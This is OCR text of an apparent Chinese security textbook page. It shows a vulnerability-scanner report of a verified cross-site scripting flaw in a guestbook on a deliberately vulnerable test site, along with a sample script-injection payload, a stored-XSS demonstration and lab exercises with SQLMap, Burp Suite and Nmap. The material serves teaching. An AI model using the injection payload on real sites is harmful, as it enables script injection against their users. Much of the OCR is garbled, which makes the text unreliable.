mm o (. . [ [ e Iﬁ
'Warning: mysq|_fetch_array() expects parameter 1 to be resource, boolean given in /hj/viar/www/Mod_Rewrite_Shop/detaiIs.php online 6 E

e o
B4 60 HELsaL iR "

2. Buh SRS e
TR U an &l 4—70 Frs o v

ik
/guestbook.php
Alert group Cross site scripting (verified)
Severity High

Cross-site Scripting (XSS) refers to client-side code injection attack
wherein an attacker can execute malicious scripts into a legitimate

Description website or web application. XSS occurs when a web application
makes use of unvalidated or unencoded user input within the
output it generates.

Apply context-dependent encoding and/or validation to user input

Recommendations
rendered on a page

Alert variants

URL encoded POST input name was set to anonymous user'"
()&% <acx><ScRiPt >07ut(9758) </ScRiPt>

POST | /guestbook. php| HTTP/1. 1 79

Content—Type: application/x—www—form—urlencoded

Details

Referer: http://testphp. vulnweb. com/

4-70 TFTE XSS iwilE

1) kiS4

W5l A (XSS) J2 98 % A At o b Bt AT DURE S R A iR A G 12 0 2l B
Web JW HFEF . 24 Web I H AR 7 75 H A B8 it v Ao P A 28 S0 0E B30A i 55 1) TP o A, gk
SR XSS Wit

2) Iwil%E

EE M PR IO E , RN REHEN TS A

<img src="https://www.baidu.com/img/flexible/logo/pc/result.png" />

REM B E R A, WIRERDZ IR RA7 A, Qs 4-71, K 4-72 7R .

04.05.2022, 2:44 pm

1
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test 04.05.2022, 2:46 pm

add message

El 4-72 BREREBEFERR
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(1) 15{#F B Wampmanager 3§ PhpStudy E2 5 T B, & § Sqli—Labs $£3H M 1k, {F
sSQLMap THzE AWVS TEXT Sqli-Labs 5 1 X7, iICRzX~RUREZERE.,

(2) 1RIBSE (1) BMILEIL, {FH Firefox X ESEEF0 Burp Suite MEB T A, XJ Sqli-Labs
% 1 XHEITFNFEN, KB Sqli-Labs $EIHFIRERIES -

(3) {FEA VMware EHIN T E, 1BiE Kali I RIER S, FH Nmap TEXT Kali 1ER S
HITHEHE, ICRAENimOAFRBUASTIRIER FREE
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